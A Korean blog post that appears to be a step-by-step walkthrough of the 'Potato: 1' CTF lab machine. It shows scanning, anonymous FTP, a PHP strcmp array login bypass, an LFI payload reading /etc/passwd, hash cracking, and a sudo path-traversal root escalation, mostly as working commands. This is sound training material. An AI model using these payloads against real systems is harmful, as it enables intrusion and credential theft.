
Potato: 1 CTF 워크스루
1단계. 호스트 탐색
nmap -sn 172.16.11.0/24
-sn 옵션은 포트 스캔 없이 네트워크 대역에서 살아있는 호스트만 빠르게 찾는 ping scan이다. 전체 대역을 훑어서 타겟 머신의 IP를 특정하는 것이 첫 번째 목표이며, 결과적으로 172.16.11.221이 Oracle VirtualBox NIC임을 확인하여 Potato 머신으로 특정했다.

-> 파이어폭스 172.16.11.221로 접속해본다!

2단계. 포트 및 서비스 스캔
nmap -sV -sC -p- 172.16.11.221
-sV는 버전 탐지, -sC는 기본 스크립트 실행, -p-는 전체 포트(1~65535) 스캔이다. 결과로 세 가지 서비스를 확인했다.
포트 서비스 의미
| 22/tcp | OpenSSH 8.2p1 | SSH 접근 가능 |
| 80/tcp | Apache 2.4.41 | 웹 서버 존재 |
| 2112/tcp | ProFTPD | 비표준 포트 FTP |
2112번 포트의 FTP는 기본 포트(21)가 아니므로 -p- 전체 스캔 없이는 발견하기 어렵다. 이후 공격의 핵심 진입점이 된다.
----> 여기가 keypoint!
3단계. 웹 디렉터리 열거
gobuster dir -u http://172.16.11.221 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
웹 서버(80포트)에 숨겨진 경로를 워드리스트 기반으로 브루트포싱한다. 발견된 경로는 다음과 같다.
- /admin (301 redirect) → 로그인 페이지 존재
- /potato (301 redirect)
- /server-status (403 forbidden)
/admin 경로에서 로그인 폼을 발견했고, 이후 공격 방향을 여기로 집중했다.

4단계. SSH 브루트포스 시도 (실패)
sudo nmap -vv --script=ssh-brute.nse -p 22 172.16.11.221
SSH 크리덴셜을 워드리스트로 시도했으나 98%까지 진행해도 유효한 계정을 찾지 못했다. 이 단계는 실패했으며, 다른 공격 벡터를 찾아야 함을 의미한다.
---> 해당 아이디와 비번을 워드리스트로 다 찾아내서 적합한 아이디와 비번을 찾아내는건데, 다른 사람들이 한거 보고 했지만 성공률이 조금씩 떨어지고 시간이 오래 걸려서 포기했다..
5단계. FTP 익명 로그인 및 소스코드 획득
ftp 172.16.11.221 2112
ProFTPD는 설정에 따라 anonymous 로그인을 허용하는 경우가 있다. 패스워드 없이 접속을 시도했더니 성공했다.
# FTP 접속 후
Name: anonymous
Password: (엔터)
ftp> ls -al
ftp> get index.php.bak
ftp> get welcome.msg
ftp> bye


cat index.php.bak
.bak 확장자는 백업 파일로, 웹 서버에서는 실행되지 않고 소스코드가 그대로 노출된다. cat index.php.bak으로 내용을 확인하면 로그인 로직이 드러난다.
$pass = "potato"; // Change this password regularly
if (strcmp($_POST['username'], "admin") == 0
&& strcmp($_POST['password'], $pass) == 0) {
// 로그인 성공
setcookie('pass', $pass, time() + 365*24*3600);
}


소스코드에서 두 가지를 알 수 있다. 첫째로 username은 admin으로 하드코딩되어 있다. 둘째로 password는 strcmp()로 비교하며 주석에 "정기적으로 바꾼다"고 명시되어 있어, 실제 서버의 비밀번호는 potato에서 변경된 상태임을 알 수 있다.
실제로 admin / potato로 로그인을 시도하면 실패한다. 유저의 아이디만 제대로 알 수 있다! 그건 admin 그리고 form의 경로이다. index.php?login=1 이부분으로 다시 접속해보자 즉!

6단계. /admin 하위 경로 추가 열거
gobuster dir -u http://172.16.11.221/admin \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x .php,.txt
-x 옵션으로 확장자를 지정해 PHP 파일까지 탐색한다. 발견된 경로는 다음과 같다.
- /admin/index.php (200)
- /admin/logs (301)
- /admin/dashboard.php (302 → index.php로 리다이렉트)

/admin/logs에 접속하면 패스워드가 변경된 이력이 로그로 남아있어, 현재 비밀번호는 알 수 없는 상태임을 재확인했다. 따라서 비밀번호를 알지 못해도 로그인을 우회하는 방법이 필요하다.
7단계. PHP Type Juggling으로 로그인 우회
소스코드의 핵심 취약점은 strcmp()의 반환값을 == 0으로 느슨하게 비교한다는 점이다.
취약점 원리:
PHP에서 strcmp()에 문자열 대신 배열을 전달하면 NULL을 반환한다. 그리고 PHP의 느슨한 비교(==)에서 NULL == 0은 true로 평가된다.
strcmp([], "potato") → NULL
NULL == 0 → true ← 로그인 우회 성공!
이를 이용해 password 필드를 배열로 전송한다.
curl -X POST "http://172.16.11.221/admin/index.php?login=1" \
-d "username=admin&password[]=" \
-v
password[]=는 PHP가 배열로 해석하도록 하는 문법이다. 응답 헤더에서 쿠키값을 획득한다.
Set-Cookie: pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh
이 쿠키를 이후 모든 요청에 사용하면 인증된 사용자로 접근할 수 있다.

curl "http://172.16.11.221/admin/dashboard.php" \
--cookie "pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh"


위에 주소 http://ip/admin/logs/에 들어가보면 각 로그 3개의 파일이 있고 이 로그 파일에서 유저의 이름과 비번이 최근에 바뀌었다는걸 알 수 있으니 파일을 해독하면 플래그에 가까워진다는 의미입니다.
8단계. LFI(로컬 파일 인클루전)로 /etc/passwd 획득
대시보드에 접근해 메뉴를 탐색하면 ?page=log 파라미터와 file POST 파라미터로 로그 파일을 읽어오는 기능이 있다.
curl "http://172.16.11.221/admin/dashboard.php?page=log" \
--cookie "pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh" \
-d "file=../../../../../../../etc/passwd"
../를 반복해 웹루트를 벗어나 시스템 파일을 읽는 것이 LFI(Local File Inclusion) 공격이다. file 파라미터의 입력값을 검증하지 않아서 가능하다. /etc/passwd를 읽으면 시스템 계정 목록이 출력되며, 하단에 다음 항목을 발견할 수 있다.
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash

9단계. 해시 크랙으로 SSH 접속
$1$로 시작하는 해시는 MD5crypt 방식이다. John the Ripper로 크랙한다.
echo 'webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' > pass.txt
john pass.txt

결과: 비밀번호 = dragon
ssh webadmin@172.16.11.221
# password: dragon
SSH 접속 성공 후 홈 디렉터리에서 user.txt 플래그를 획득한다.

10단계. 권한 상승 (PrivEsc)으로 root 획득
sudo -l
sudo -l은 현재 사용자가 sudo로 실행 가능한 명령어 목록을 보여준다. 결과는 다음과 같다.

(ALL) /bin/nice /notes/*
/notes/ 디렉터리 안의 모든 파일을 root 권한으로 실행할 수 있다는 의미다. 그런데 /notes/ 안에 직접 파일을 생성하거나 수정하는 권한이 없다.
우회 방법 — sudo 경로 트래버설:
/notes/* 와일드카드는 /notes/ 하위 파일만 허용하는 것처럼 보이지만, ../를 사용하면 다른 경로의 파일을 지정할 수 있다.
cd /tmp
echo "/bin/bash -p" > exploit.sh
chmod +x exploit.sh
sudo /bin/nice /notes/../tmp/exploit.sh
/notes/../tmp/exploit.sh는 결국 /tmp/exploit.sh와 같은 경로지만, sudo 규칙의 /notes/* 패턴을 통과한다. -p 옵션은 SUID 권한을 유지한 채 bash를 실행해 root 쉘을 얻는다.

whoami
# root
cat /root/root.txt

root.txt의 내용을 base64 디코딩하면 최종 플래그를 획득한다.
echo "bGljb3JuZSB1bmlxYW1iaXN0Z..." | base64 -d


공격 흐름 요약
네트워크 스캔 → 포트 스캔 → 웹 열거
→ FTP 익명 로그인 → 소스코드 획득
→ PHP Type Juggling 로그인 우회
→ LFI로 /etc/passwd 획득
→ MD5 해시 크랙 → SSH 접속 (user.txt)
→ sudo 경로 트래버설 → root 쉘 (root.txt)
'CTF' 카테고리의 다른 글
| [CTF: Earth] KaliLinux로 취약점 분석 및 flag 획득 방법 총정리 (0) | 2026.05.12 |
|---|